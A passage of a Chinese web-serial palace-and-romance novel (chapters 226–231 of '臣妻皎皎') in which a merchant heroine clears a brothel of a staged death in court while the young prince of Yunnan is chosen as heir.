深秋临近,百花杀尽,唯有松柏依旧翠绿。 皇上与云南王坐在亭子里下棋,而沈云祉则在一旁百无聊赖的看着手中的折扇。 这画面沉静祥和,可落在平王眼里,便是这几人故意在给他难堪。 同是皇室子弟,如今他们倒似是亲如一家,而他平王却还要用些计谋才能入这宫中。 “平王来了,正好,将你说画拿过来,朕和云南王一起品鉴一番。” 皇上未让平王行礼,摆了摆手,将他召进亭子里。 平王也未客气,大步踏进亭子,也将手中的几幅画递给了皇上身边的宫人。 那些画也是平王收藏多年,自是大作,皇上赞不绝口。 “云南王觉得如何?” 皇上甚至询问云南王的意思。 云南王却笑出声。 “皇上是了解臣的,向来对这些无感,不如让云祉看看。” 听着这话,平王心中的怒火不断升起。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十六章 受人非议 “此画是难得一见的佳作,看这画中美人栩栩如生,如活过来一般。” 沈云祉这个小云南王并不是空有名头,上阵杀敌不在话下,这文上也是古今皆通,对于画作的评价,也自是出于他的底气。 “小云南王当真是厉害,人们都说你文武双全,如今看来却并未妄言。” 平王的称赞总是会让人觉得不舒服的,自然了,他也不是真心赞誉。 “平王叔说笑了,侄儿虽不在京中长大,但到底也是皇室中人,平王叔又何需听别人说侄儿的闲事?” 哪怕是在皇上面前,沈云祉也未收敛锋芒,甚至略带挑衅之间。 “云祉,不得无礼。” 云南王虽为了武将,但一直小心谨慎,他虽知道平王所做的那些事,却也觉得不必在此时闹的太僵。 “无妨,云南王一向也是这样的脾气,教出来的儿子自然是更像你一些,热血男儿,本王倒觉得是不错。” 平王也只是在皇上面前显得大度一些。 “朕也觉得平王说的有理,云祉年轻自该有些傲气,又是我们皇室最有出息的儿郎,值得培养。” 皇上也在此时开口,原本是顺着平王说的,可是平王的脸色却不甚好看。 “皇上过誉了,臣向来心直口快,若有不妥之处,还望皇上指教。” 沈云祉故意略过平王,倒是向皇上表了忠心。 皇上自是开心的,只是亭子里到底是凉了一些,身边的宫人为他披上厚厚的斗篷,可他还是忍不住一阵咳嗽。 “皇上今日出来也久了,不如早些回去休息。” 云南王起身向皇上行礼。 皇上有些乏了,也不推辞,便离开了。 亭子里只剩下这三人,气氛也瞬间紧张起来。 “云南王回来的可真是时候,皇上身体欠安,你和你的儿子便入京了,这应当不是巧合吧?” 九王之尊,值得平王得罪所有人去争去抢,现下皇上不在,他也不必伪装。 云南王双手背在身后,微昂起头,瞟向平王的目光里也满是不屑。 “平王对自己要有自知之明,你所期盼之事,或许是人人都想要的,但你觉得你有资格吗?” 云南王指的自然是皇位,这也正是触碰了平王的痛楚。 “本王凭什么没有资格?” “就凭先帝立太子之时,宁愿选身体不好的皇上,也未曾考虑你,你无才无德,行事龌龊,就算这天下的王都去了,也轮不到你。” “你竟然敢……” 平王咬着牙,红着眼眶便欲上前,但云南王非但没有躲,反而上前一步,使平王不禁停下脚步,拳头却举在半空。 “怎么?平王这是要跟我动手?你派出的那些刺客都是高手,本王也活着出现在皇宫,你觉得你有胜算吗?还有,本王出手,是要拿命的。” 云南王并非是夸大其词吓唬平王,他镇守云南多年不曾有外敌来犯,自然是有过人之处的。 平王缓缓放下拳头,在云南王这里没有得到好处,他便将目光投向后面的沈云祉。 “云南王这些年确实功绩无数,但有时间还是要盯着自己的儿子,如今小云南王在京城之中与一名弃妇来往甚密,传闻还是要收为偏房的。” 平王刻意停顿了一下,在沈云祉冰冷的目光投来时,他才无不得意的说了下去。 “只可惜那女子是商户之女,身体低微,倒是长的有些颜色。” “平王操心了,祉儿若是真有意,别说商户之女,即使是青楼女子我们云南王府也容得下,倒是平王还是管好自己的事,听闻你流落在外的女儿即将成亲。” 这些都足以让平王丢脸,咬着牙半天没说出一个字,最后愤怒的拂袖而去。 看着平王那都快冒烟的背影,沈云祉忍不住笑出声。 “还笑,那女子到底是怎么回事?” 云南王的脸上没有丝毫笑意,到现在为止他都不知道那女子是何人,但是流言却是不少。 “什么女子?父王可是知道的,我自小到大,身边的女子可是数都数不过来。” 沈云祉这副吊儿啷当的模样与他从前倒是并无分别。 只是,云南王太了解他了,他越是这般没有正形,便也越证明那些流言不是空穴来风。 “你少跟为父说些没用的,先是举荐那女子举办皇室盛宴,后又带那女子的食物入宫,上次受伤,也是为了救那女子,难不成这些都是巧合?” 其他的也就罢了,受伤之事,除了沈云祉与顾皎皎,也就是双剑双瑞知道了。 “是不是双瑞又胡说八道了?我这就……” “你给我回来。” 沈云祉想借机逃跑,却没能成功。 他只好又乖乖的回到云南王身边。 如他所说,云南王确实是从双瑞口中得知受伤之事,他回京之后,便觉得有些蹊跷,平王派出的刺客虽然个个是高手,人数又多,可,以沈云祉的身手也就受些皮外之伤,又何至于臣床多日。 云南王也是问过沈云祉的,他只说是一时大意了,他身边的人嘴又严得很,云南王只好将双瑞叫去,三言两语便从双瑞口中套出了实情。 “商户之女,又曾是别人的妻子,此等身份接触过多,只会令你受人非议。” 云南王的面色严肃了不少。 “父王多心了,儿臣也只是见这姑娘精于生意,颇有头脑,又有助于儿臣在京中行事,才接触多了一些,对了,儿臣已经将名下产业交由她打理,自然了,是要付银两的。” 沈云祉自知逃不过,便也只能说一半藏一半。 “可她到底曾经与人成婚……” “父王,我做生意而已,与她人成不成婚有何关系?何况,您和母妃从小便教导于我,众生平等,君子坦荡荡,不该有门户之见。” 沈云祉从不介意顾皎皎的身份,至于他与顾皎皎的初识,怕也只有他们二人知道。 云南王被自己的儿子堵的说不出话,半晌才叹了口气。 “你自幼不用父王母妃操心,我便也不多说了,你与那女子若只是生意往来也就罢了,若是有其他心思,趁早断了。” 云南王这话说的坚定,决绝。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十七章 真瞧得起她 醉月楼出了命案。 一卖香料的民妇在醉月楼被一男子拉进了厢房,女子不堪受辱,一条白绫将自己挂在醉月楼门前。 那男子已被官府抓获,只称自己是醉洒,什么都不知道。 此事本与醉月楼无关,却在官府查验之时,在一间厢房里发现了迷情之药,由此官府认定此次命案或与此药有关,令醉月楼暂时关门,等候盘问。 这醉月楼暗里是沈云祉的,明面上是打理此楼的媚姨,在此之前从未发生过这样的大事,如媚姨慌了,又寻不到沈云祉,只得来顾府找顾皎皎。 “我也知打扰了姑娘,但小王爷曾说过,若是遇到难题便来寻姑娘,我也实在是没有办法了。” 媚姨在醉月楼招揽生意时,可是风光无限,左右逢源,不将任何人放在眼里,也不曾得罪任何人,此时如些模样,可见是真的着急了。 只是听着这话的顾皎皎,心里不禁暗暗沉下一口气,这个沈云祉,也是真瞧得起她。 “媚姨莫急,先进去慢慢说。” 顾皎皎将人迎进门内。 如今醉月楼已经被官府的人把守起来,一干人等都被关在楼里,媚姨能出来走动,也自是给了那些人好处的。 “媚姨,恕我直言,醉月楼毕竟是烟花之地,出现迷情药物,是否也是有可能的?” 顾皎皎听着时,也在试探着,询问着,可媚姨听着这话却急了。 “那不可能,这群姑娘都是我一手调教出来的,她们各个身怀技艺,若是用药了事,我要她们有何用?” 媚姨脸上的妆容极重,急切之余也意识到自己的这些话有些失礼,毕竟面前坐着这位是良家女子,怕是听不得这些。 “不好意思,顾姑娘,我有些着急了,我只是想说,正因为醉月楼是岁月场所,那些东西才是万万不会有的。” 顾皎皎微微点头,媚姨是沈云祉选的人,应当是信得过的。 “媚姨,若是此事坐实与醉月楼有关,后果会是如何?” 顾皎皎知道此事会牵连到沈云祉,只是不知道轻重与否。 “醉月楼查封是小事,怕会查到幕后之人是小王爷,我朝铁律,官员不得经营暗门子,重罪,何况小王爷还有着王爷的身份。” 这才是媚姨真正着急的原因。 “好,我知道了,媚姨放心,给我一日调查的时间,待我理清后,再去找您。” 顾皎皎如今只知事情的经过,对于有关的人和事一概不知。 “可是……我只是想,如此要事是不是要想办法通知小云南王?” “不必,小王爷将生意交与我,我来处理就好,此时若是惊动了小王爷,怕也会引起他人怀疑,反倒对小王爷不利。” 顾皎皎很是坚定,媚姨这才安心的离开。 “莺儿,让王吉去查,要查得清清楚楚,包括那男子和民妇,他们的家人,接触的人等等,都要查的一清二楚,要快。” 顾皎皎吩咐下去,一刻也不敢耽搁,立即放出了几只信鸽。 她们如今在顾府,最快的传信方式便是信鸽了,平时是不用的,顾皎皎谨慎,信鸽到底是少了一分保险。 顾皎皎站在院中,天快亮了。 醉月楼之事,在天亮之后也会瞬间扩散至整个京城,此事是瞒不了的,思索片刻后,她转过身,看向莺儿。 “莺儿,梳妆,我们出去转转。” 如顾皎皎所料,一半夜的时间,醉月楼的事便传遍了大街小巷。 “本就是青楼之地,自然是什么肮脏手段都用了。” “我家堂兄上个月还去过,说是极好,可能也是被用了这种手段吧。” “这媚姨经营醉月楼多年,我总觉得她不至于此。” “这都出人命了,还有什么不可能的,都是一群下贱之人,自然是不择手段。” …… 醉月楼本就不是什么高雅之地,如今出事,自然是万人唾弃。 若是以往,顾皎皎也会跟他们是一样的心思,只是如今,身处其中,便是另一番天地了。 顾皎皎坐在马车里,听着外面人的议论,不禁苦笑,如今,她也站在了这是非黑分的分界点。 正在此时,莺儿从外面上了马车。 “姑娘,我打听过了,官府只是暂时封了醉月楼,说是要等事情调查清楚后再做处置。” 听到这话,顾皎皎松了一口气。 “这般便好,这样可以给我们一些时间。” 顾皎皎现在要做的就是等消息。 “车内可是顾姑娘?” 马车外一道温和的男子声音响起,只听这声音便知是谁。 顾皎皎整理了一下情绪,缓步下了马车。 “不成想这般巧,竟在这里遇到杜大人,杜大人安。” 顾皎皎微微欠身,淡淡的笑意,态度平和,如从前一般,却也显得过分疏离。 杜玉荣还是希望,她在自己面前尽情笑放肆说话的样子,只是…… “确实是巧,只是不知顾姑娘为何这般早出府?” 杜玉荣看了看周围,自然也听到了那些议论。 他年轻有为,又位列朝臣,自有他的城府与思虑,不易被轻易蒙骗。 顾皎皎深知这一点。 “本想着出来看看商铺的行情,却不想中途听到一些议论,便好事的停下来,听个究竟。” 这个答案,没让杜玉荣起任何疑心,只是不自觉的笑了笑。 “是啊,今晨出门便听到那些闲话,倒也不必放在心上。” “杜大人这是要去哪里?进宫吗?” 顾皎皎询问着,这个时间好像已经过了上朝的时间了。 “今日休沐,家母喜爱不远处的一家糕点,我过来买些。” 顾皎皎羡慕这些可以为自己父母做些事的人,而她想做一些,却什么也做不了了。 “那便不打扰杜大了,告辞。” 她隐藏着自己的思绪,便欲转身离开,但却被杜玉荣叫住。 “顾姑娘,上次赵姑娘之事……抱歉,那并非我意,只是……” 杜玉荣是想解释的,可是太过复杂,他根本不知从何说起,可他也似感觉到顾皎皎有意在与他保持距离。 其实这段时日,杜玉荣常常去第一楼,但一次也没有见到他想见的人。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十八章 名正言顺 杜玉荣是谦谦君子,可是世家子弟,又身处京城,终究是有许多的万不得已。 顾皎皎理解,自也不想牵扯其中。 “杜大人何出此言?我只是一介商女,做些生意讨生活而已,其他的事与我并无关系。” 顾皎皎浅笑温柔,抬眼看着杜玉荣又轻声说了下去。 “杜大人助我良多,我心中是万分感激,若是日后大人有不便之处,我定赴汤蹈火以报大人之恩。” 她身影倩丽,双眸晶莹清澈,本是一柔弱女子,可站在那里便似透着一些傲气。 她说的在理,也言语得体,可是这样的她,让杜玉荣心里涌起一股酸涩。 “顾姑娘,确实是我不好,让你受了委屈。” 他抱着五颗诚心,却惹得顾皎皎轻笑出声。 “杜大何出此言?倒是让我一时无措。” 顾皎皎当然知道他指的何事,却装出不懂的样子,也不等杜玉荣再说什么,她又立即转移了话题。 “时候不早了,我还要去铺子里查账,先行告辞了。” 她微微欠身点头,转身上了马车。 杜玉荣站在原地,看着马车渐行渐远,也感受着顾皎皎的生疏与冷淡。 赵蕴苎对顾皎皎屡次刁难,皆是因为杜玉荣,杜玉荣心中清楚,也依旧自责。 顾皎皎在城中转了一圈,便前往第一楼。 “姑娘,你为何与杜大人说那些话,杜大人好歹也位列朝臣,许是日后有需要他帮忙的地方呢。” 莺儿备好了茶,递给了顾皎皎,满脸不解。 “杜大人霁月清风,我还是不要给他添麻烦的好,何况……” 何况,她小小商女,又岂能跟首辅大人的孙女抗衡? “可是……” “好了,不必说这件事,你去外面盯着,若王吉那边有消息,及时来报。” 顾皎皎现在没有心思想其他的,醉月楼之事必得尽快解决。 与此同时,皇宫里也发生了一件大事。 “皇上何出此言?微臣镇守云南多年,从未有谋逆之心,望皇上明查。” 云南王慌乱不已,半跪在地上,态度诚恳。 皇上倚靠在榻上,发白唇色带着淡淡的笑意,他的面前摆着一碗还冒着热气的汤药。 “起来,朕并非疑心于你,只是在为做些打算。” 皇上说着时,也示意他身边的宫人将云南王扶起来。 “你我本是兄弟,若不是当年你肯留于京城,朕也无法坐上皇位,若不是你这些人将边关守护住,朕也无法将这位置坐稳。” “皇上,臣……” “朕知你无帝位之心,但你看看朕如今的情况,每日有喝不完的汤药,就连这间寝宫,即使点了无数薰香,却依旧难掩这药的味道,重要的是,朕的身体每况愈下。” 皇上咳了两声,露出一丝苦笑。 云南王一时无言,眉宇间显露出一抹凝重,也似是担心。 “不必心疼朕,这些年料理朝政,朕也是乏得紧,若是……” “皇上不可说,皇上有何吩咐,臣定会完成。” 云南王不想让皇上说出那些不吉利的话,便抢先一步开口。 本都是血脉相连,若是普通人家,也该是亲亲热热的,但他们偏偏生在帝王家,却也只能先论君臣,再论手足。 “朕想留下召书让你继位,也并不是非逼着你上位,而是看中了云祉,这孩子年纪虽轻,但行事稳妥,胸有成算,与他相谈间,他也爱民如子。” 皇上借着沈云祉的功绩召云南王回京,这才是最主要的目的,特意没有让云南王妃回来,就是怕引起别人的怀疑。 如今,皇上也是不想再等了。 “皇上,并非臣推脱,您是知道臣的,粗人一个,这帝王之位上,哪怕只是一日,臣也做不来的,至于云祉……只怕是名不正言不顺。” 云南王站在皇上身侧,微低着头,说出真心话。 皇上也点了点头。 “是啊,莫说其他,只那些大臣,便无法应对。” 皇上似是思索,但其实早就心有成算。 云南王看的出来,但身为臣子,只能装作不知。 “你既不想要这皇位,朕也不强求,但朕想,不如先立云祉为太子,待日后朕有什么不妥,自可名正言顺。” 皇上的目光里满是坚定。 云南王想到皇上是有了主意,却不想是这样的主意。 “皇上三思,云祉自幼长在边陲之地,无论是规矩还是见识都不及皇城里的男儿,如此行事,怕是……” “你不必自谦,朕若是看中那些表面的东西,随意指个人就是,踌躇这许多时日,就是再三思虑后,才选定了云祉。” 皇上笑了笑,脸上露出欣慰之色,而后又说了下去。 “当初云祉回京,朕甚至没有赐他府邸,你以为是为了什么?” 先帝选择皇上上位,真是没错,无论是城府还是远见,都是旁人不能及的。 云南王没有任何理由拒绝,最后也只能应下。 “好,那便让钦天监寻个好日子,皇会下旨。” 云南王走出皇上寝宫之时,眉头紧皱,只觉得后背发凉。 “父王这是怎么了?皇上训斥了?” 沈云祉一直在外等着,他本是与云南王一同来的,但皇上只召了云南王,他也只好在外面等着。 “我只是在想,皇上身体若是安好,这当今天下,怕是另一番景象。” 云南王悠悠开口。 沈云祉不解。 云南王也没有解释,转头看向他,又看了看身后,在确定他们周边没有人时,才小声开口。 “皇上有意立你为太子,你做好心理准备。” 他是人父,自然是要为儿女多多打算一番。 只是,听到这个消息的沈云祉,却并没有多少意外,他这样的表现倒是让云南王震惊。 “难不成你早就知晓?” “父王说笑了,我又不是皇上身边的人,我怎会知晓。” 他们父子二人并肩向前走去,即使是身边的下人都离他们有些距离。 “皇上膝下无子,宗室子侄可用的并不多,他可选的人自然也没有几个,平王算是一个,只可惜近来平王行事让皇上生了厌恶之心,皇上若想有人继承大位,便也只剩下我了。” 沈云祉的这份自信是骨子里带的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十九章 难不成是有要紧事? 沈云祉的话,也终让云南王意识到,他的儿子原本就是有野心的。 云南王定定的看了沈云祉许久,眉头渐渐疏散开来。 “皇上立你为太子之时,也是你以及我们云南王府所处最危险之时,万勿小心。” “儿臣谨记。” 沈云祉应着,漆黑的眸子里有着耐人寻味的光芒。 “对了,听皇上说你请旨出宫了?” 云南王继续向前走着,也似是随意的问着。 “是,皇上已经应允。” “如今宫中情况多变,在这个时候出宫,难不成是有要紧事?” 云南王在试探。 沈云祉轻笑出声。 “父王,我又不是双瑞,您不如直接问我是不是要出宫去见那姑娘。” 他半开着玩笑,使云南王顿下脚步。 “你莫要嬉皮笑脸,我之前跟你说过,无论那女子是何人,你都不要动了别的心思。” “我知道,只是入宫多日,我的眼线大多都在宫外,若皇上有意立太子,我也总要了解朝中大臣的想法,是以必得出宫一趟。” 沈云祉停顿了一下后,又为自己铺了一条后路。 “自然了,那女子我也是要见的,皇上指名要吃那家的点心,儿臣也是奉命行事。” 这份心思,绝不是一般能有的,云南王现在也明白了皇上所说的话。 身为帝王,光有仁心善心是不行的。 云南王也不再阻拦,只一再提醒他谨慎小心。 与此同时,顾皎皎已然带着一些证据前往了府衙。 醉月楼本与顾皎皎无关,她的出现在堂上的人为之一震。 媚姨以及那女子的家人,甚至那个狂徒都在堂上,面对这样一位不速之客,各自的心里都不由得紧张。 “姑娘怎么来了?你如今掺和进醉月楼的案子,于你名声无益。” 媚姨凑近顾皎皎小声的说道。 醉月楼乃是青楼,烟花之地,鱼龙混杂,顾皎皎一女子出来做生意本就多受人诟病,若是再牵扯进青楼,那以后…… “无妨,我若是在意名声,就不当这个掌柜了。” 顾皎皎微昂着头,给了媚姨一个安心的眼神。 “堂下何人?与醉月楼又是何关系?” 府衙之上,堂上坐着的便是审理此次案件之人,威严也透着一股精明。 “民女顾皎皎,受媚姨委托,一直代管醉月楼的账目,此案本与民女无关,但无意间发现了一些蹊跷之事,民女不敢隐瞒,便立即来报。” 顾皎皎在人前是可以装出柔弱的,此时此景,也很是合适。 “你们醉月楼害死人,还三番两次说什么证据,我看你们就是不想赔偿银两,就是草菅人命。” 地上跪着的一男子突然冲顾皎皎大吼出声,眼中腥红,似是哭过,那股愤恨也从双眸中迸发出来。 顾皎皎微微侧目,冷淡的目光投向那男子,缓缓开口。 “你就是死者的夫君吧?你不必如此着急,今日案件审理清楚后,若是醉月楼有罪,别说区区百两,就是千两,万两,醉月楼也出得起。” 听到这些银钱,那男子立即双眼放光,但又马上冷静下来,不屑的看了一眼大陆皎皎。 “谁知你的话是否可信?” “大人在坐,我所言既是承诺。” 顾皎皎无不认真的说道。 “够了,不要吵了,你既说有证据,便提上来吧。” 上面的人明显是失了一些耐心。 “回大人,在民女提交证据之前,请允许民女讲一个故事,故事讲完,大人便可了解这整件事情的经过。” 顾皎皎微微欠身行礼,似有恳求之意。 那位大人最终还是允了。 “有一女子,到了年纪由家中人牵线,嫁与了一男子,成婚后,男子噬赌成性,稍有不顺便拿女子出气,更是将家中银钱掏光,还欠了巨额外债。” 顾皎皎说着时,也瞟向地上的那男子,看着他神色有异,她才继续说了下去。 “女子不堪被打,便决意和离,可谁知竟怀上了孩子,因着这孩子,这女子便又隐忍着过了八年之久,但好人不长命,那女子突然查出了重病,命不久矣。” “你住口,你一介女子,不在家相夫教子,竟在这大堂之上口出狂言,是何居心?” 这大吼着人,不是堂上的大人,而是地上跪着的那男子。 顾皎皎被打断,却并恼,而是装出疑惑的模样看向那男子。 “我讲这个故事是跟大人汇报过的,你为何如此焦急?” “我,我只是觉得这些与这案子无关,所以……” “你怎知待我讲完,就真的与案件无关?” 顾皎皎毫不犹豫的反驳,让那男子一时无言。 “好了,你继续说,然后如何了?” 听到堂上大人的话语,顾皎皎才无不得意的继续说了下去。 “那女子过的生不如死,根本不在乎自己的死活,但她的孩儿尚且年幼,她于心不忍,很快,这件事便被她的夫君知晓。” 此时,顾皎皎已经站到了那男子面前,接下来的话,她要让这男子一个字一个字的听清楚。 “人性本恶,多年夫妻,没能使他心生怜惜,而是想了一个以命换钱的法子,他让那女子装成卖胭脂的小贩进入醉月楼,随身携带迷情之药,谁撞上便是谁倒霉,最后那女子一死,更是能让醉月楼再出一大笔银子。” 听到这里,在场的人都沉默了,只有那男子疯了一般的起身,朝顾皎皎扑了过来。 堂上的差役倒是眼疾手快,将那男子押回了原位。 顾皎皎没有一丝慌乱,这才转身向堂上行了个礼。 “大人,民女猜测,那男子一定是承诺,得到银钱会将大半用于他们的孩儿身上,那女子才傻到甘心赴死。” 事到如今,在场的人也都明白了是怎么回事。 “大人,我觉得她说的有道理,小人可是醉月楼的常客,虽有喝多之时,却从未像这次一样失了分寸,定是那人设下的计谋,望大人明查。” 说话的是当时玷污那民妇的人,被关了两日他早就心如死灰,甚至一度认为是自己犯下的蠢事,现在听到顾皎皎的话,他便再次燃起希望。 可那民妇的夫君,却垂死挣扎。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十章 拜高踩低 顾皎皎提交她查到的证据。 先是那民妇带去的胭脂水粉,皆是城门桥下最差的东西,要知道,醉月楼的姑娘们可从来不用那些东西,何况醉月楼里所有的人都查过,无一人找那民妇购买胭脂。 其次便是那民妇,虽已经在醉月楼前自尽,可只要是个郎中便可查出她身患重病。 “最后,就是那迷情香,出自城南铺子,那铺子的掌柜也可做证,此人去买过同款香料,那香极贵,想必还余下不少,大人可派人去此人家中搜查。” 这就是顾皎皎为何亲自出面的原因,这一系列的案情,环环相扣,若是交给旁人,怕是无法梳理清楚。 “你这贱人,我要杀了你,你这是胡说八道,我要把你碎尸万段……” 那男子即使是被衙役们拉着,却也冲着顾皎皎大喊大叫,一副恨不得吃了她的模样。 顾皎皎冷笑,却并未理会他。 人心凉薄,可却不想能凉薄至此,朝夕相处的枕边人也可因为利益而弃之不顾,然而,这样的人在这世间并不少见。 “来人,去搜。” 堂上的大人下令,而后开始反复核验顾皎皎提上去的证据,无论是人证还是物证,无一错漏。 那男子见事情败露,也见自己的发财梦即将破灭,他便疯了一般的辱骂顾皎皎,为了维持堂上安静,审案的大人命人堵了他的嘴。 醉月楼的案子,本就不甚光彩,但涉及到人命,谣言四起,为了服众,这案子便是公开审理的。 事到如今,外面观望着的人也开始议论纷纷,有的说那女子太傻,可怜之人必可恨之处,也有人说那男子无情无义,该被游街示众,更有甚者,也讨论起了顾皎皎。 “你们不知她是何人吗?那可是第一楼的掌柜的,却不想,竟与醉月楼也有关系。” “这位顾掌柜可了不得,出身不高,却敢与安阳候府和离,自立门户,实不简单啊。” “再厉害有何用?还不是一介女子,又与这醉月楼关系密切,指不定暗地里还做出些什么事呢。” …… 如媚姨所料,一女子与青楼扯上关系,名声必定受损。 顾皎皎虽然站在堂内,但外面的议论声也是可以听到的,她不以为然,可媚姨却有些慌乱。 “小王……那人之前交代过,若是姑娘遇到难事,醉月楼要不惜一切代价为姑娘分忧,如今没有帮到姑娘,却连累姑娘至此,我真是该死。” 媚姨少了往日里的妖娆,满脸的自责。 顾皎皎有些意外,不可思议的看向她。 “他竟这般说过?” 她从不知沈云祉暗中也在保护于她,可是,他为什么要这样做? “是啊,不只醉月楼,其他的产业,应该也交代过。” 媚姨唉声叹气。 顾皎皎低垂下眼眸,一抹忧伤流露于眼底,只是合作而已,他何至于此? “媚姨安心便是,这世间之人向来是拜高踩低,只要我有钱,他们便不会怎样。” 她很少这般张扬放肆,但她深知,这是事实。 终于,外面调查的人回来,不只在那男子的家中搜到迷情药,还发现了倒在地上的孩子。 据官差所说,他们叫了郎中救了那孩子,从孩子口中得知,他父亲离开前给他做了饭,官差也在那餐食之中发现了毒药。 “大人,幸亏我们去的及时,再晚一刻钟,那孩子怕是不成了。” “大胆,虎毒尚且不食子,你身为人夫害妻子,身为人父又毒害孩儿,别说是个男人,你竟连为人都不配了,来人,将他押入大牢。” 堂上的这位大人也是审过很多奇案重案的,可是像这人这般丧心病狂的,却是少见,自也忍不住在堂上动怒。 最后,玷污民妇那人也一样被收监,只是罚的轻一些,而醉月楼也彻底洗脱了嫌疑,至于那男子,大人并未当堂宣判,想来那人也不会有什么好下场。 顾皎皎与媚姨走出大堂,周围有一些人也不禁大胆开口。 “顾掌柜真是厉害啊,若不是你,这醉月楼怕是开不下去了。” “顾掌柜既与醉月楼有关,怎么没在那里见过你,不常去吗?” “顾掌柜不只人美,这查案也这么在行,真是不得了啊。” 每一句听着都像是称赞,但每一句也带着一些鄙夷。 这也难免,她一女子与青楼有关,必然不会好过。 顾皎皎并不理会他们,从人群中穿过,向不远处的马车走去,而就在这时,一道熟悉的声音突然响起。 “商户之女就是商户之女,自甘下贱,上不得台面的东西。” 顾皎皎停下脚步,缓缓转身,便看到安阳候府的三公子。 对于其他人那些言语,她可以充耳不闻,可他孙协兆又算什么东西? “怎么?还不让人说啊?以前还只是拿做生意当借口,如今还踏足青楼那种肮脏之地,真是不知廉耻。” 孙协兆迎着顾皎皎冰冷的目光,更加肆无忌惮,周围原本要散去的那些人,也都驻足围观。 “孙三公子管的也太多了些,我是何种人需要你来评价?怎么,安阳候府的米面存足了吗?你娶妻的银钱备好了吗?” 顾皎皎丝毫不在意周围人的目光,与孙协兆直面抗衡。 “你还有脸说,当初要不是你,我安阳候府何至于……不过,现在看你这样,本少爷也释然了,为达目的不择手段,甚至不顾自己的廉耻。” 孙协兆没说出来的话,自是他也觉得丢人,不等顾皎皎说话,他又继续说了下去。 “当初让你做外室你不肯,如今却愿意做那千人骑万人压的玩意,不知你父亲若是在天有灵,看到你这般,会不会再被你气死一次。“ 啪! 孙协兆毫无防备的被打了一耳光,脸颊处火辣辣的疼痛,可见面前的顾皎皎用了十成十的力。 顾皎皎依旧面色平静,但内心的情绪已然翻涌,她不在意孙协兆的那些污言秽语,可他提到了她父亲,便是触碰到了她的逆鳞。 “你这贱人,你竟然敢……” “孙公子自重。” 一道慵懒的声音突然响起。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百三十一章 不认为自己有错 沈云祉也没想到,刚一出宫,就遇上了这场热闹。 涉及到顾皎皎,沈云祉派人去查了今天堂上审的什么是案子,不成想,却是自己的醉月楼出现问题。 他看着顾皎皎在堂上条理清晰的拿出证据,最后将醉月楼完好无损的摘了出来,沈云祉的眼底有一抹心疼一闪而过。 没错,这一次不是欣赏,不是对她刮目相看,而是心疼。 她一女子,为烟花之地辩白,又是找证据,又是亲自解释,那外界传言怕是愈演愈烈。 沈云祉没有出面,只在一旁的等着堂审结束,可不成想,那个孙协兆又跳了出来。 “见过小云南王。” 孙协兆看着来人走过来,心底一慌,立即行礼。 周围的人也听到了这个称呼,胆小的早就跑开了,还有一些看热闹不嫌事大的,还在周边徘徊。 沈云祉款款而来,一身月白色的衣衫显示着他的高贵,周身散发着傲气,自给人一种盛气凌人的感觉。 他嘴角噙着若有若无的笑,漆黑的眸子里透着看不清的情绪,却让人觉得阴森。 “初识孙公子时,只觉得安阳候府出来的公子,才学人品都是上乘,却不想今日也可从孙公子的口中听到这般污秽之言。” 沈云祉的语气里都极尽嘲讽。 孙协兆头都没敢抬,却也依旧不认为自己有错。 “小云南王见笑了,这顾皎皎曾经到底也是吾妇,她如今如此行事,着着实实是丢了安阳候府的脸面,她……” “安阳候府的脸面?安阳候府有何脸面?一个靠着女子嫁妆过活的候府,竟还要脸面?” 沈云祉几乎没有任何犹豫的打断了孙协兆的话,而这些话,也让周围所有人都为之一震。 “什么?堂堂候府竟然用媳妇的嫁妆?” “即使是普通百姓家,都不会动用女子嫁妆,这候府怎会如此?不是说很受朝廷重用吗?” “你说的那是老候爷的时候了,如今候府这些子侄哪个担得起重任,眼前这位,至今文不成武不就,倒是作风上很是出名。” …… 周围的人议论起来,让孙协兆面上无光。 而最受震撼的便是顾皎皎。 从沈云祉出现的那一刻,她的大脑就一片空白,有意外也有震惊,而当亲耳听到他说出孙协兆的丑事时,她感觉心被揪了一下。 小云南王是有野心的,自回京后行事谨慎,除了平王,更不曾与何人交恶,自是为了日后给自己铺路。 之前沈云祉对孙协兆多加厌恶,却也只是避而远之,像如今这般直言讽刺,还是第一次。 “我也知小云南王常被顾皎皎蒙蔽,只是,是非曲直不可听她一面之词,何况,当初也是她善妒要和离的。” 孙协兆的声音都不自觉的低了几分。 沈云祉却在此时大笑出声。 “但凡是有骨气的女子都是要和离的吧?你养一外室,未入门先同房,对顾皎皎百般凌辱,还想她出钱给你做聘礼,这些你都忘了吗?” “我……” “哦,对了,有一件事你弄错了,本王不是被她蒙蔽,而就是真真切切的护着她,你与她本再无关系,本王也不希望再看到你。” 似是怕对孙协兆的震慑不够,他又向前两步,凑近孙协兆的耳边。 “如若再有下次,本王会带着平王一起来看热闹。” 听到平王二字,孙协兆身体都忍不住微微颤抖,最后在众人的嘲笑声中,像个过街老鼠般离去。 双瑞这个时候倒是有眼力见,将周围的人都驱散。 “几日不见,顾姑娘是越来越厉害了,连府衙都进了。” 听了沈云祉略带调侃的话,顾皎皎心里一阵暗骂。 她堂堂第一楼掌柜,进了这府衙,与醉月楼有牵扯,是为了谁?还不是为了他? “只是巧合罢了。” 顾皎皎淡淡的笑了笑,简短的答着。 “怎么是巧合呢?小王爷,这次多亏了顾姑娘,若不是她醉月楼就完了,只是顾姑娘怕也是被牵连了。” 媚姨立即低声解释着。 其实,不用媚姨说,沈云祉心里也有数,若不是万不得已,顾皎皎定然也不会亲自露面。 “本王知道,媚姨,你先回去吧。” 打发走了媚姨,沈云祉才又看向顾皎皎。 “皇上想吃第一楼的几味点心,顾姑娘陪本王去取?” 连皇上都搬了出来,顾皎皎自是无法拒绝。 她上了马车,本想先行,却不想刚刚坐定,沈云祉便钻进了马车。 顾皎皎怔了一下,不由得侧了侧身体。 “小王爷,这于礼不合……” “本王说合便是合,去第一楼。” 沈云祉最后一句是冲外面的人喊的。 马车缓缓前进,顾皎皎面露尴尬之色。 “醉月楼之事,我已经问过了,要多谢顾姑娘。” 沈云祉的语气难得的认真了几分。 